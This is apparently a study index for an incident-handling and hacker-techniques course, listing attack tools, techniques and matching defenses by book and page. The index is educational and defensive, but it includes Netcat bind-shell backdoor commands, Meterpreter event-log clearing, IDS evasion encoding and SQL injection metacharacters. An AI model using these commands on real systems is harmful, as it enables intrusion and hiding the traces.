--Secure Shell (SSH v2) or VPN with encryption
--Especially important for critical infrastructure components
-- Dont telnet to your firewall,routers, directory systems, or PKI machines
If originating host is compromised, strong authentication and encrypted paths do not help, because session is stolen at
originating machine
Host Perimeter Detection
1 55
(Example) View Diagram
HTA Drive-By 3 53 MitMf attack that can insert malicious .hta files into the stream
Keywords Book Page Remarks
Guesses passwords
Dictionary support
Hydra 4 8 Supports a variety of Protocols
RDP finally added
--Runs on Linux and UNIX
iastor.sys 5 77 driver modified by Alureon
ICMPCmd 5 128 Windows shell tool using ICMP
ICMPShell 5 128 Linux shell tool
Identification - Additional
1 95 What level of skill and prerequisites are required by an attacker to exploit the vulnerability? Is a fix available? Do other
Assessment Questions
factors exist that reduce or increase the vulnerability risk or potential impact?
Idle scans 2 94 This scan type can be used to divert attention, obscuring the attackers location on the network
IDS/IPS Evasion -
2 112
Blending In The goal is to use a protocol which is normal, many times with a valid user ID and password for the target environment
Reassemble packets streams before making filtering or intrusion-detection decisions.
IDS/IPS Evasion- -Try to mirror the OS as closely as possible.
2 113
Defense Keep you IDS and IPS up to date
-ensure IDS/IPS has adequate resources to maintain throughput
IE SSL Warning
3 62
Message See screenshots
ifconfig wlan0 hw ether
2 72
[MACaddr] Linux command used to change MAC address
Keywords Book Page Remarks
imageinfo 5 23 Shows the date and time the memory dump was captured
Implement appropriate protection techniques
- Applying firewall and/or router filters
Improving Defenses - Moving the system to a new name/IP Address
1 119 - Null routing particular IP address
(Eradication)
- Changing DNS names
- Applying patches and hardening the system
Inappropriate Web Only investigate individual use if HR requests such action in writing
Access (Unauthorized 1 168
Use)
Inception 3 4 Unlocking a powered on and locked computer via DMA firewire/Thunderbolt connections, great for gaining access to
systems with hard drive encryption.
Refers to an adverse event in an information system and/or network-
Incident 1 11
**** Incident implies harm or the attemplt to harm.
Is an action plan for dealing with the misuse of computer systems and networks
Incident Handling 1 10 --Keep written procedures and policy in place
--It also cover insider crime and intentional and unintentional events that cause loss of availability
Incident Handling for
Intellectual Property 1 181
Cases Prep: Survey your Intellectual Property, ID: Look for Leaks, Containment: Criminal or Civil case, Lessons Learned -NA
Incident Handling Preparation-Identification-Containment-Eradication-Recovery-Lessons Learned
1 17
Phases
inetd 2 105 *nix service initialization script
InSSIDER 2 61 Noisy, sends out SSID-less probe requests and listen for probe responses, therefore, cannot detect Aps that don't respond
to such requests
InstallUtil.exe
logfile=/LogToConsole=f 3 153 see screenshots
alse /U exeshell.exe
ISR-Evilgrade tool
--Listens for software to request update
ISR-Evilgrade tool 2 12 --Sends response with malware
--Currently includes modules for Java browser plug-ins, Winzip, WinAmp, MacOS X, OpenOffice, iTunes, LinkIn toolbar,
and more
--More than 60 software packages in total whose Internet updates can be subverted this way
Jikto 4 112 Jikto: performs a Nikto scan of internal websites using XSS
Jikto 2 111 performs a Nikto scan of internal websites using XSS functionality
John the Ripper 4 35 A very powerful and fast password cracking tool. Runs on UNIX, Linux, and Windows of all kinds
Jump Bag - Additional Call list and phone book, cell phone w/ extra batteries, Anti-static plastic baggies w/ ties for storing evidence. Baggies w/
1 46 white embossed squares let you write content notes on the bag. Desiccants for handling moisture in bags. Extra notebooks,
Helpful Items
Additional copies of all incident forms. Change of clothes, deodorant, aspirin, antacid.
Keywords Book Page Remarks
Jump Bag - Investigative One of the best freely available Linux enviroments for investigations, incident handling, and digital forensics. This Vmware
1 43 appliance includes hundreds of tools to examine data. Includes a Sleuth kit, PTK, Autopsy GUI, Wireshark, MD5deep, and
Tools (SIFT)
Volatility suite.
In general, there are (currently) four different methods for manipulating the kernel being publicly discussed
1) Loadable kernel modules (UNIX) and devices drivers (Windows)
Kernel-Mode Rootkit 2) Altering kernel in memory
5 60
Technique: Types 3) Changing kernel file on hard drive
4) Virtualizing the system
Each available on Linux and Windows (he said 5 methods)
kill running process on *nix systems
kill / killall 2 105 kill [pid]
killall [process_name]
Kismet 2 63 passive WAP discovery, can also detect Zigbee w/ right hardware
Kiwi's syslog 5 121 Third party tool for syslog for windows
Keywords Book Page Remarks
koders.com 3 107 code search engine
Kon-boot 3 4 USB boot attack where any password is accepted as a correct password.
Stop storing LANMAN hashes in reg key:
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
-On the Edit menu, click Add Key, type NoLMHash, and click ok
LANMAN - Disabling Stop sending LANMAN Challenge/Response across the network:
4 32
Authentication*** LMCompatibilityLevel registry parameter
-Level 3- Send NTLMv2 authentication only- good for clients
-Level 5-Domain Controllers accepts only NTLMv2
Brute force attack on LANMAN hashes using single top of the line PC with quad processors (approximate times)
-Alpha numeric characters < 2 hours
LANMAN Hashes - 16 - -Alpha numeric-some symbols < 10 hours
4
Cracking 18 -Alpha numeric-all symbols < 120 hours
So no matter what the password is ( as long as it doesn't have [alt] characters), the LANMAN hash can be cracked within 5
days
Brute force attack on LANMAN hashes using single top of the line PC with quad processors (approximate times)
-Alpha numeric characters < 2 hours
LANMAN Hashes - 16 - -Alpha numeric-some symbols < 10 hours
4
Cracking (Cain) 18 -Alpha numeric-all symbols < 120 hours
So no matter what the password is ( as long as it doesn't have [alt] characters), the LANMAN hash can be cracked within 5
days
Lanturtle + Responder 3 4 USB attack where a malicious USB Ethernet adapter causes a system to generate DNS request and Responder can
capture hashes
lastlog -Accounting lastlog: File shows login name, port, and last login time for each user
5 84
Entries in UNIX -Default location on Linux: /var/log/lastlog
Least Significant Bit 5 149 reference
within two weeks of resuming production
Lessons Learned - -Review the report
1 128 -Finalize Executive Summary
Meeting
-Keep it short and professional,(maximum length= half day), don't start blaming
Linux Building Tools 1 239-242 Building tools to use (i.e. tar, configure, make)
Linux Cheat Sheet 1 251-261
Linux cheat sheet to assist with Unusual Process, Services,Files,Network usuage, scheduled task,log entries, accounts, etc
Linux Cheat Sheet
(Additonal Supporting 1 262
Tools Chkrootkit, Tripwire, AIDE, CIS Hardening Guidelines
Linux CMD's (whoami, Get more detailed information about your current user id and privileges
1 215
id, sudo su-)
Keywords Book Page Remarks
Linux File System
1 218 - 225
navigation Detailed description on navigating the files ( i.e. cd, ls, pwd, mkdir, locate, find, cat, head, tail, tar)
Linux File System
1 217
Structure Detailed description of what is contained in each Linux File System (i.e., /root, /dev, /etc, /lib, /tmp, /var)
Linux for Hacker's
1 210-215
Workshop Basic Linux Commands to assist you with your Hacker's toolkit
Linux Network Set-up 1 233-238 basic network commands in Linux (i.e., service networking restart, ifconfig, ping, netstat)
Linux other odds-and
1 246-249
Ends commands Other useful commands to know in Linux (i.e. grep, man, info, shutdown)
Linux Running Programs 1 226-232
description on running programs (i.e $PATH, which ls, ps aux, bg, top, jobs
The Metasploit Meterpreter also includes a log wiping utility
Log Editing: Meterpreter --clearev command
5 111 --Clears all events from the Applicatio, System, and Security logs
Log File Alternations
----No option to specify a partcular type of log or event to wipe
Currently it clears the event logs completely, but could be expanded in the future to line-by-line event log editing
Preparation:
--Use a separate server for logging
----In UNIX, syslog to a separate server
----Windows also supports syslog, through the use of third-party tools
Use Behavioral Analytics
Log Editing: Defenses Microsoft Advance Threat Analytics
from Covering Tracks on 5 112,113 Rapid7 User Behavioral Analytics
Systems Exabeam
Preparation (continued)
--Cryptographic integrity checks of log files
Identification
--Look for gaps in logs
--Look for corrupt logs
--Look for odd user behavior
Cont, Erad, Recov: N/A
With physical access, an attacker could boot to Linix and edit the Windows logs directly with specialized tool
Log Editing: Editing Logs A Linux boot disk for editing the Windows password database (SAM) can be found at http://pogostick.net/~pnh/ntpasswd
5 110 --Be careful when using this on a machine with EFS on Windows XP and 2003
w/Physical Access
--You will likely lose the EFS keys if you change the password on them
This program cannot be used to edit logs
Low Orbit Ion Cannon 4 161 TCP connection floods, UDP floods, or HTTP floods (most common)
--allows attackers/volunteers to coordinate floods via IRC
Manipulate MAC to Physical plug mapping
Macof 3 48 - Flood switch with traffic with lots of bogus MAC Addresses, fill up the MAC table
On some switches when you fill up the MAC table, the switch begins to act like a hub because it cannot remember new
MACs
Converts the .bin file created by Veil into a macro that can be imported into a spreadsheet.
mailsnarf 3 51 Save e-mail captured from SMTP and POP to local host
gathers open-source intel on a target
Maltego 2 46 -can be used to find information about a phone #, IP addr, etc.
Defense: do a delf-recon and correct inaccurate info.
Preparation:
--Ensure that publicly available information about your organization s accurate
Maltego: Defense 2 48 ----Keep records up to date
--Conduct your own recon
Allow for the complete control of a victim system remotely accross the network
Client-server architecture
Malware: Application- Very popular and many examples:
Level Trojan: Backdoor 5 9 - Poison Ivy, VNC, Dameware (commercial), Sub7, BlackShades, GhostRAT
Suites - Many common backdoors can self-install upon system exploit
- Payload option in Metasploit
Attackers can trick victim into running tool
Most of these tools can be discovered with an antivirus tool.
Mandiant Redline (Labs) 1 147-156
Mandiant Redline is an outstanding tool for memory analysis
Man-in-the-Middle Supports ARP cache poisoning and multipe other injection/TCP stream modification attacks. Has the ability to manipulate
3 51
Framework (MitMf) TCP data on the fly
Masscan 2 98 separates out the SYNs and the SYN/ACKs, makes scan faster
MD5 Crack Project 4 22 Looks up word based on unsalted md5 hash and store them into memory
Another similar project focuses on creating MD5 hashes and loading them into memory
md5sum 2 13 built in Linux integrity tool
md5summer 2 13 file integrity checker, Windows
Used by investigators to analyze memory dumps from Windows machines to determine attacker's actions, such as
executing malicious application-level Trojan Horse backdoors.
A memory dump:
--Can be generated using a variety of utilities, including Mandiants Memoryze MemoryDD.bat, HBGary's fastdump,
Matthieu Suiches win32dd, winpmem, and ManTechs mdd
Memory Analysis 5 22 Volatile Systems Volatility Framework
--Free, open source, very feature rich and useful
--A modular tool written in Python
Google's Rekall
--Free
Create a memory dump with:
-Memoryze MemoryDD.bat, fastdump, win32dd, winpmem, mdd
Volatility Framework, Google's Rekall
Metasploit divides the concept of exploits, payloads, auxiliary, and post modules
- An exploit takes advantage of a flaw in a target system
- The payload makes the target do something the attacker wants
Metasploit: Arsenal 3 117 - Auxiliary modules perform all kinds of tasks, including scanning
- A post module is used in post-exploitation tp plunder targets or manipulate them
**new functionality added all the time
--useful for all OS, browers, apps, etc.
Monitor the System Once system is back online, continue to monitor for backdoors that escaped detection. Utilize network and host-based
1 124 intrusion detection systems and IPS. Carefully check operating system and application logs. If possible, create custom
(Recovery)
signature to trigger on original attack vector because attacker will likely try same thing again.
Keywords Book Page Remarks
Multi-Exploit Worms 4 58 A worm uses its exploit warhead to penetrate a computer. Worms becoming more complex, use several exploits at once
If you've patched against N-1 vulnerabilities, the worm will still get in through the hole N
Multiplatform Worms 4 59 Worms that are able to attack many OS types, all rolled into a single worm
On Windows systems there are also a couple of protocols computers will use to resolve names of other systems:
- DNS, Link-Local Multicast Name Resolution (LLMNR), and NetBIOS Name Service (NBT-NS)
Failing DNS, systems will query local systems for a name using LLMNR, failing that, they will use NBT-NS
Name Resolution 3 50 Every bit as bad as it sounds
Kind of like asking friends for bad directions
The danger is when a name is not resolvable by DNS
- Think mistyped domains and hostnames
Nasty payload (Worms) 4 65 In the future, worms will have truly nasty purpose like gradually destroy host systems, Search hard drive and steal sensitive
data
Look at NetBIOS over TCP/IP activity
nbtstat 1 65
C:\> nbtstat -S
Nessus 2 117 A very useful tool. A client-server architecture with a large number of plug-ins that measure targets for individual
vulnerabilities.
Nessus Architecture 2 118 view slide
Nessus Plug-Ins 2 120 One plug-in is in charge of doing one attack and reporting the result to the Nessus server (nessusd).There are over
100,000 plug-ins. Auto updated every 24 hours.
Keywords Book Page Remarks
Look at who has an open session with the machine
net session 1 65
C:\> net session
net session 2 143 lab on page 162
Look at which sessions this machine has opened with other systems
net use 1 65
C:\> net use
net use 2 135 lab on page 162
Look at file shares and make sure each has a defined business purpose
net view 1 65
c:\> net view \\127.0.0.1
Netcat - Client Mode 3 12 --Messages from the tools itself are sent to standard err
Supports source routing, which in useful for spoofing
Netcat is faster than Telnet
Netcat - Connections 3 18 Easier to drop a connection with Netcat than with Telnet
Some binary data is interpreted as Telnet options characters: Netcat handles raw data well
Telnet doesn't support UDP, but Netcat does
Keywords Book Page Remarks
Get a login prompt (or other backdoor) at any port, TCP or UDP
UNIX: nc -l -p [port] -e /bin/bash
Netcat: Backdoors 3 19 Windows: nc -l -p [port] -e cmd.exe
Use Netcat in client mode to connect to backdoor listener:
nc [listenIP [port]
You are logged in as the user that ran Net
examples:
nc -l -p incoming_port | nc target_Server outgoing port
nc -l -p 1111 | nc endserver 2222
1.) Data transfer (moving files)
2.) Port scanning and vulnerability scanning
Netcat: Uses 3 15 3.) Making connections to open ports
4.) Backdoors
5.) Relays
netscan 5 23 Shows all listening UDP and TCP Ports and connections
netstat -nao shows PID
netstat 2 102 netstat -na shows which ports are in use.
netstat -nab shows EXE and DLLs used
netstat 5 23 Lists open sockets (PID, Port, Protocol, and when it was opened
Shows all active listening UDP and TCP Ports and connections
netstat (Linux) 2 104 netstat -nap shows listening ports, PIDs and program names
Is a free war-driving tool for Windows. It can be used to detect 802.11a/b/g interfaces and can tie in GPS data ( Noisy, it
NetStumbler 2 61 sends SSID-less probe requests and look for probe responses, therefore, cannot detect Aps that don't respond to such
requests!
Preparation
- You could disable incoming ICMP echo requests messages
But your users couldn't ping you
- You could disable outgoing ICMP Time Exceeded messages
Network Mapping - - But then your users couldn't traceroute all the way to you
2 86, 87 Identification
Defenses
- IDS signatures looking for ping sweep or traceroutes
- Many false positives possible
Containment
--If you notice a frequent ping sweep you can temporarily block source address
--Mark such rules as temporary in a comment field, then purge them on a regular basis (such as monthly)
Erad, Recov: N/A
Keywords Book Page Remarks
Network Perimeter
1 54
Detection(Example) View Diagram
NeXpose 2 116 Commercial vulnerability scanner
Niksun 2 57 **Commercial war dialer
Does entire application layer interaction rebuilding from packet captures- Passive and Active Sniffing
Nikto 2 web server scanner. Looks for default material and well-known server problems
runs on unix and windows.
Nikto IDS. Application-level IDS evasion. Nikto morphs this request so that it doesn’t match any signatures. It supports ten
Nikto IDS Evasion 2 modes of IDS evasion. 9 application and 1 at transport.
Avoids this command in IDS:
Get /cgi-bin/broken.cgi http/1.0
-Auto update- updates its own code and grabs latest vulnerability checks
-attempts to determine "ok vs not found" messages for target
Nikto Features 2 -automatically searches for and identifies CGI directories.
-Looks for robots.txt and focuses on pages referred to by this file
-simple port scanner, does 3 way handshake and then determines if a web server is there
-app-level IDS evasion techniques included
URL Encoding - converts Http request into different representation, by changing ASCII characters into their hexadecimal
Nikto IDS 2 values and prepending them with a % character.
'- Get /%63%67%69%2d……./broken.cgi HTTP/1.0
Nmap sends the following four packets to each address in the target range:
ICMP Echo Request
TCP SYN to port 443
NMAP 2 83 TCP ACK to port 80 (if Nmap is running with UID 0)
ICMP Timestamp request
When running without UID 0, Nmap sends SYN packets to port 80 instead of ACK
By default NMAP sweeps each target address port before scanning it.
Nmap - OS
2 95-96
Fingerprinting
NMAP Active OS
2 96
Fingerprinting Attempts to determine the operating system of target by sending various packet types and measuring the response.
Keywords Book Page Remarks
NMAP OS Fingerprinting 2 97 30 different methods are included in 2nd generation fingerprinting including, TCP ISN, TCP IP ID, ICMP IP ID, TCP initial
window size
NMAP Scan Types 2 94 NMAP allows for conducting numerous types of scans: Ping sweeps, ARP scans, Connect scans, SYN scans, FIN scans…
etc
Nmap Scan Types 2 93-94
NMAP-ACK Scanning 2 95 Blocks session initiations from the outside. Useful for mapping, but not for port scanning. Great for finding sensitive internal
system post exploitation
No free bugs 2 9 Movement started by researchers where they discussed a policy, in which they try to get paid for vulnerabilities they
discover.
nohup 3 20 The attacker can invoke this loop in the background by using the nohup command, as follows:
$ nohup ./listener.sh &
Determining a password when you have only the password file with cipher text password representations:
--Find valid user ID
--Find encryption algorithm used
Password: Cracking 4 9 --Obtain encrypted password
--Create list of possible passwords
--Encrypt each password
--See if there is a match
Recovering forgotten or unknown passwords
Password: Cracking for Audit the strength of passwords
4 14
Good *Internal employees who are suspects could claim that you had their passwords and have therefore framed them
--Use l0phtcrack auditing mode!!
Keywords Book Page Remarks
Dictionary attack: Using a word list
Password: Cracking Brute Force attack: Iterating through character sets
4 10
Methods Hybrid attack: A mix of the two, sometimes called word mangling
Tools such as: Cain and Abel, John the Ripper, Hashcat
Password: Guessing 4 6 Find valid user ID, create list of possible passwords, try typing in each password, if system allows you in, success if not, try
again. You can also use a script of automated tool to improve speed and accuracy.
The key is to train users to protect their systems when they are not in their possession.
Physical Access Use ful-disk encryption:
3 6
Defenses Restrict access to USB ports:
Password Protect BIOS, and disable USB boot:
Disable LLMNR:
Ping sweeps 2 94 Send a variety of packets types (Including ICMP Echo Requests, but many others as well).
PingChat 5 128 reference
Poison Ivy 5 14 Remote-control backdoor GUI tool
Polymorphic code 4 64 Take binary instructions(compiled code), XOR it with random key, attack a decoder, Push DATA and the Pop into
REGISTER
pop 3 149 take it off the top of the stack
Port scanners are a must for any attacker's toolbox
Port Scanners 2 89 They help identify openings on a system and the type of system
Most Internet applications use TCP or UDP
87
Port Scanning 2
-104
Keywords Book Page Remarks
Preparation
--Close all unused ports by shutting off services and applying filters
--Utilize stateful packet filters and/or proxy firewalls
Port Scanning - --Utilize an intrusion detection system
2 101
Defenses Identification:
--Several IDS signatures for port scans
-- Log analysis shows pesky connection attempts
Netstat, TCPView, WMIC
Cont, Erad, Recov: N/A
Positive Skew Analysis 1 139 Enterprise Wide IR Powershell
PowerBleed 3 65 Builds a bogus cert that has an MD5 hash collision with a trusted cert
PowerShell Empire - Exploits the strength of PowerShell to conduct enumeration across net
2 139
SMB Sessions --can amp domain trusts, group membership, portscan and conduct reverse DNS lookups
Kansa focuses on stacking like systems against each other to provide a ranked listing of processes, network connections,
Powershell Tools and configurations of systems
1 139
Enterprise-Wide IR This is part of statistical long-tail analysis (positive skew)
A multi-disciplinary team is best.
Security (computer and physical)
-Incident handlers(s), forensics analyst, malware analyst
Operation (system administrator)
Network management
Preparation - Building a Legal Counsel
1 30
Team Human Resources
Public affairs/Public relations
Disaster Recovery/Business Continuity Planning
Union representation (if you are a union shop)
reasons to notify law enforcement: benefit from criminal discovery and be a good corporate citizen
Preparation - Notifying
1 23 not notifying law enforcement--
Law Enforcement
-Control: There are suddenly two cases,-
-Different goals ( prosecution vs. quickly resuming business)
**Publicity, Risk of continued hacking, Risk of equipment seizure and/or interruption to business (while back ups are made)
Get a duffle bag and keep it stocked with items for incident handling.
Preparation Don't steal from your own jump bag (Always have it ready to roll)
1 40 Fresh media for holding file system images
- Jump Bag
CDs, USBs, and an extra high-capacity hard drive
Create phone tree with established procedures
Preparation -Emergency - have a conference bridge number on standby
1 33 - Print and laminate contact info
Comms
**Test your call list
Preparation Overview 1 19 The goal of the Preparation phase is to get the team ready to handle incidents
procmemdump 5 23 Dumps the memory of a particular process chose by the Rekall user. Instead of looking through all of memory, the analysis
can focus on just this given process
Program Execution 3 100 SEE SLIDE
Proxy - Web App The proxy enables the attacker to edit the raw HTTP or HTTPS, including nonpersistant cookies
4 138 -Account Numbers, Balances, shopping cart price
Manipulation
ZAP Proxy, Burp Proxy, w3af, and Fiddler
Keywords Book Page Remarks
Use Rekall's dlllist module to display a list of DLLS loaded by a process, as well as command-line invocation of a running
process:
Rekall: DLLs and [1] memimage.dd hh:mm:ss> dlllist pid=[pid_num]
5 27
Command Line Output is a similar to the following commands on a live Windows machine:
C:\> tasklist /m /fi "pid eq [pid]"
C:\> wmic process where processid=[pid] get commandline
Using Rekall's netstat module, we can display a list of active network connections at the time the memory dump was
Rekall: Viewing Network acquired:
5 25 [1] memimage.dd hh:mm:ss > netstat
Connections
Output is similar to the following command on a live Windows machine:
C:\> netstat -nao | find "ESTABLISHED"
Rekalls's pslist module displays a list of running processes at the time the image was acquired
Rekall: Viewing
Processes
5 26 [1] memimage.dd hh:mm:ss> pslist
Output is similar to the following command on a live Windows machine:
C:\> wmic process get name, parentprocessid, processid
Remove malware inserted by the attacker
Removing Malicious - Viruses, worms, backdoors, etc.
1 118 Rootkits require a complete wipe/rebuild
Software (Eradication)
**Sometimes vuln services were the entry point. Look to patch or remove services
Remux 2 100 scanning through multiple open proxies online
The goal of the Lesson Learned phase is to document what happened and improve our capabilities
Develop a follow-up report immediately after recovery
Report (Lesson Assign the tsk to the on-site team
1 127 Include incident forms from and Bring in all involved parties to review the draft
Learned)
Attempt to reach consensus and get sign off, if someone don't agree, have them submit and sign off on his own version of
the event
Keywords Book Page Remarks
Tool designed to launch LLMNR attacks (dedicated to answerring stray LLMNR/NBT-NS/Proxy Requests).
Can also be launched against NBT-NS, DNS/MDNS attacks
Responder 3 71 Automatically launches a number of services to redirect victim systems to in order to harvest credentials
--HTTP, HTTPS, SQL Server, Kerberos, FTP, IMAP, SMTP, DNS, LDAP
Goal is to spoof a system, then be ready to intercept authentications on the fly.
Can also serve up malicious .exe files and force downgrade for LANMAN authentication
Responder: Capture 3 73 See screenshots
Responder: starting 3 72 See screenshots
Restore Operations
1 123 Decide when to restore operations. Try for an off-hours timeslot. It's easier to monitor carefully. Put final decision in the
(Recovery)
hands of the system owners. Provide your advice, but they make the final call. Document your advice in a signed memo.
Can be difficult to locate a clean backup, sometimes infections predate backup media
Restoring from Backups ---In many cases (rootkits especially), you will need to wipe/rebuild
1 117
(Eradication) ** Always use original media to reinstall, patch after
1.) On the internal system surfs the Internet asking for commands from the attacker's external machine.
2.) The attacker types in commands at the external machine on the Internet and sends the commands back to the victim
machine as HTTP responses.
3.) These commands are then executed on the internal network host
Reverse HTTP Shells 5 117
4.) The results are pushed out with the next web request.
Rookits - User-Mode Cryptographic hashes of key system files stored in a safe place
5 60 -Tripwire, OSSEC, nCircle, Solidcore, AIDE
Defenses (Integrity)
--The Internet Strom Center has a free NSRL lookup tool
Rookits - User-Mode There are four categories of hiding tools: Process hiding, Network hiding, File hiding, and Event hiding
5 50
Hiding --processes are modified to not display attacker's actions
-Don't let attacker get root in the first place
Rookits: User-Mode -Harden and patch the system thoroughly
5 59 **Analysis of /bin/login by automated tool to look for embedded password
Defenses
-use rootkit detectors (not always accurate)
--use equivalent commands and compare results
When a rootkit runs on the victim machine, the rootkit executable first makes a copy of itself in the system32 directory. Then
Rootkit Hiding: In Action 5 54 in step 1 and 2, it creates two other files in the same directory: iexplore.dll and explorer.dll. Files that you might assume are
associated with the legitimate programs. In step 3 the rootkit executable injects the explorer.dll into running processes
names "explorer.exe"
Newer rootkits make hiding easy
No configuration necessary
Rootkit Hiding: Windows 5 53, 55 The attacker just loads it on the end system in a directory of the attackers choosing, and then runs it (typically with admin
privileges).
--All artifacts associated with a rootkit directory are automatically hidden
Keywords Book Page Remarks
Rootkit Platforms 5 48
Rootkit: Avatar 5 68 See: Avatar Rootkit
The containment, eradication, and recovery steps for kernel-mode rootkit techniques involve the same techniques used for
user-mode root-kits
--Containment
Rootkit: Kernel-Mode ----Analyze other systems' changes made by discovered rootkits
Defenses: Contain, Erad, 5 75 --Eradication
Recov ----Wipe dirve, then reformat drive
----Reinstall OS, applications, and data
----Make sure to apply all patches
----Change all admin/root passwords on victim and related systems
--Recovery
----Monitor system very carefully
Scanning - Network An attacker wants to understand the topology of the target network
2 79-86 The layout of routers and hosts can show vulnerabilities
Mapping
NMAP can be used for network mapping and port scanning
Scanning - Port
2 87-104
Scanning
Scanning - Vuln Scan 2 123 Test against a list of know exploits
Scaring people into believing their systems are compromised
Scareware 5 16 -They sometimes charge hundreds of dollare to "fix" a system
-Usually just clear the event logs
Scoopy 4 78 looks for shifted Interrupt, Local, and Global Descriptor Tables
ScreenShotter 3 54 MitMf tool that invokes HTML5 Canvas to take a screenshot of the browser
SCTP 5 127 Stream Control Transmission Protocol (SCTP)
Bishop Fox's SearchDiggity is a fantastic suite that includes Google Diggity, Bing Diggity, and other search capabilities
Search Engine Recon: - Malware Diggity, Data Loss Prevention Diggity, Flash Diggity
Automated Search 2 43 - Many of these "diggity" components require an API for the respective service
Engine - Sometimes, free APIs provide fewer results than the web interface
Recon-ng is another powerful automated search tool
Search on "cache:www.google.com"
Brings up the cached version of the page
Search Engine Recon:
Google's Cache and 2 39 Browse the Google cache
Wayback
The Wayback Machine is a thorough view, with multiple images over time
"site:"
--searches only within the given domain
--site:www.google.com
"link:"
--shows all sites linked to a given site
Search Engine Recon: --link:www.google.com
2 37 "intitle:"
Search Directives
--shows pages whose title matches the search criteria
"inurl:"
--shows pages whose URL matches the search criteria
"related:"
--shows similar pages (sometimes useful, sometimes not)
"info:"
--finds cached page, related pages, pages that link to it, pages that contain the termin (NOT USEFUL)
When a user initiates a session with a web server for an online application, many applications request a userID and
password to authenticate the user. URL
Session Tracking 4 136 tracking, hidden form elements, cookies
--used to track sessions, HTTP is stateless
Session tracking tools: Tamper Data, Firebug, Add-n-Edit cookies
Verify in registry that you're blocking NULL SMB sessions (pg 151)
Block/limit vulnerable ports:
SMB Sessions (Evil) TCP/UDP 445 MS Server Message Block
2 144,145 TCP 135 RPC/DCE Endpoint mapper
Defenses
UDP 137 NetBIOS Name Service
UDP 138 NetBIOS Datagram Service
TCP 139 NetBIOS Session Service
Use the smbclient tool:
SMB Sessions from $ smbclient -L [WinIPaddr] -U [username] -p 445
Linux to Windows via 2 141 (enter password when prompted) To list available shares
SMB Client $ smbclient //[WinIPaddr]/test -u [username] -p 445
(enter password when prompted) pull files from SMB share
Keywords Book Page Remarks
smbmount 4 52 Command reads the hashes from the environment variable named SMBHASH, overriding any passwords provided by the
attacker, using the hash for authentication to the target instead
Snar Agent and Log
5 121
Server reference
Once data is flowing through our proxy we can start harvesting various sensative data
Snarfing Application Data 3 54 - User IDs, Passwords, Session Identifiers, URLs, etc.
We can invoke keystroke loggers within browsers
- MitMf has a module called Jskeylogger which allows us to grab keystrokes by injecting code into viewed webpages
MitMf also has a tool called ScreenShotter which invokes HTML5 Canvas to take a screenshot of the browser
Step 1: Attacker runs the DNS Spoofing program and a web of SSH proxy
Step 2: Victim tries to resolve a name using DNS
Step 3: The victims browser establishes an SSL connection (with the web proxy process on the attackers machine)
Sniffing SSL and SSH 3 60 Step 4:The web proxy establishes its own SSL connection with the real destination web server
Step 5: The victim sees a message saying that the wen server's cert isn't signed by a recognized Cert Aut(CA). But, most
users simply continue the session! As the user accesses the website all traffic appears on the attackers machine
The same process applies for SSH
Essentially, web proxy and ssh proxy tools used to exploit a trust model based on the user knowing what is okay and what
is not
sniffit 3 72 allows attack to look at data, ettercap is better!
sptoolkit 1 20 sptoolkit is an excellent way to create phishing campaigns and track the results
This technique tries to manipulate a backend database by going through the web apllication and trying to add information to
SQL Injection 4 96 a SQL statement. SQL is the Structured Query Language, a tool used to access most relational databases today.
**select [field] from [table] where [variable] = '[value]';
**update [table] set <variable> = '<value>';
Keywords Book Page Remarks
Most web apps use a SQL database
--if input is not scrubbed, user can append SQL syntax to queries
--error messages can be used to ID poor input validation
-Limit the permissions of the web app when accessing the database
SQL Injection 4 94 - 101 -Consider using parameterized stored procedures:
-On the server side, the app should filter user input
SQL Injection
4 99 - 102
(Examples) Finding errors, Dropping Data, Grabbing more Data, Getting Database Structure
SQL Injection: attackers first try to find some user-supplied input string in the web application. Attackers then start adding string quotation
4 97
Vulnerabilities characters to the user data to see how the system reacts when the data is submitted
After target user input string has been identified, use standard database logic elements and see what happens!
--Double dash (--): Comment delimiter
SQL Injection: Data
4 98 --Semicolon (;): Query terminator
Manipulation
--Asterisk (*): Wildcard selector
--Percent (%): Matches any substring
--Underscore(_): Matches any character
Other useful entities are OR, TRUE, 1=1, SELECT, JOIN, and UPDATE
Preparation:
--Limit the permissions of the web app when accessing the database
----Wont eliminate SQL Injection but can limit damage
--Consider using parameterized stored procedures:
----Code splits up user input into parameters fed to stored proc in database
--On the server side, the app should filter user input, removing:
----Quotes of all kinds (i.e, )
----Minus signs (-) Semicolons(;) Asterisks (*) Percentages (%) Underscores (_)
SQL Injection: Defenses 4 103, 104 ----Other shell/scripting metacharacters (=&\|*?~<>()[]{}$\n\r)
--ModSecurity offers solid filtering features for Apache, IIS, and Nginx
--PHP PDO
Identification:
--Search web application logs for special characters or phrases such as union, select, join and inner
--DLP tools may detect exfiltration event for PII
*Although encryption may hamper the ability to detect
Containment:
--Block source IP address and/or account being exploited
Eradication:
--Remove attacker data from the system
--Launch fraud investigation if required
SSH Sniffing 3 63 SSHmitm (SSH protocol version 1 only)
SSHmitm substitutes its public key for the SSH server's, setting up two SSH connections
sshmitm 3 63 Sniff SSH- DNSSpoof
SSID cloaking 2 60 APs configured not to include the SSID in beacons
Keywords Book Page Remarks
SSL sniff 3 57 DNSSpoof webmitm
SSL Warning 3 61, 62 See screenshots
Vulnerability in some versions of Apache, which dumps system memory via malformed heartbeat requests
SSL Warnings Dodging 3 65, 66, 67
PowerBleed by Joff Thyer does this. See Methods for Dodging SSL Warnings
sslstrip / sslstrip+ 3 68 rewrites all https URLs into HTTP URLs. To stop this many organizations have implemented HTTP Strict Transport Security
(HSTS). Implemented in MitMf
The stack is LIFO (last in first out) You push things on top of the stack and pop things from the top of the stack
Stack 3 102
The return pointer (RP) contains the address of the calling function
See screenshot
Starting Rekall 5 24 $source /home/tools/rekall/bin/activate
(rekall)$ rekal -f /home/tools/504_memory_ex/memimage.dd
Stash 5 143 Hides data in a variety of image formats
Can hide data in a variety of formats
Stego 5 142 -Images (BMP, GIF, JPEG)
Word documents, Text documents, Machine-generated images
Fractals, complex crowds of animals/flowers/people
Preparation:
--Get familiar with stego tools
--Look at changes to critical web server files (file integrity-checking tools)
Identification:
--If you have the original source image, detection is easy
Stego: Defenses 5 150, 151 ----*Preform a diff or file comparison and see whether they are different
----*MD5 or SHA-1 hashes can help
----Stego might not change the size or make any observable changes, but it does change the data
--If you are working on a HR or legal case, take directions from your legal team
Containment:
--Work with law enforcement and HR
Erad, Recov:
Work with your company's legal team
StegExpose: Jave utility to detect stego in lossless images where Least Significant Bit (LSB) techniques
